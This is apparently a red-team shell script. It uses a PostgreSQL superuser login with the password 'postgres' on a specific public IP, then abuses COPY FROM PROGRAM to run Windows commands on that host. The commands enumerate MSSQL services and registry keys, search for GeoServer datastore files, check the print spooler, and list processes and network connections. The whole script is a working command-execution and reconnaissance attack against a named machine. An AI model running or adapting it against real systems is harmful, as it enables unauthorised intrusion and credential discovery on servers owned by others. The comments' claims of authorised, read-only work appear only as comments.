#!/bin/bash
# L6 MSSQL recon on 14.225.11.57 via PG superuser COPY FROM PROGRAM
# Working role on this instance: superuser_user/postgres (rolsuper=t).
# Read-only on target. One psql session.
set -u
OUT="/root/ir-assessment/redteam/gitlab_vdss_com_vn/L6_mssql_recon_raw.txt"
PSQL="host=14.225.11.57 port=5432 user=superuser_user dbname=postgres connect_timeout=10"
export PGPASSWORD='postgres'

{
  echo "===L6 MSSQL RECON 14.225.11.57 $(date -u) ==="
  psql "$PSQL" -v ON_ERROR_STOP=1 -At <<'SQL'
DROP TABLE IF EXISTS pg_temp.recon;
CREATE TEMP TABLE recon(line text);
COPY recon FROM PROGRAM $cmd$cmd /c "echo ===SC_QC_MSSQL=== & sc qc MSSQL$SQLEXPRESS14 & echo ===SC_QUERY_MSSQL=== & sc query MSSQL$SQLEXPRESS14 & echo ===REG_INSTANCES=== & reg query "HKLM\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL" & echo ===REG_SQLEXPRESS14=== & reg query "HKLM\SOFTWARE\Microsoft\Microsoft SQL Server\MSSQL14.SQLEXPRESS14" /s & echo ===CLIENT_BINS=== & where sqlcmd osql bcp 2>nul & echo ===GS_DATASTORE=== & dir /s /b "C:\Program Files\GeoServer\data_dir\datastore.xml" 2>nul & echo ===SETUP_LOG=== & dir "C:\Program Files\Microsoft SQL Server\140\Setup Bootstrap\Log" 2>nul & echo ===SPOOLER=== & sc qc spooler & sc query spooler & echo ===KES_PROC=== & tasklist /svc & echo ===PIPES=== & netstat -an & echo ===DONE==="$cmd$;
SELECT line FROM recon;
SQL
  echo "===PSQL_EXIT=$?==="
} > "$OUT" 2>&1

echo "--- output file: $OUT ---"
wc -l "$OUT"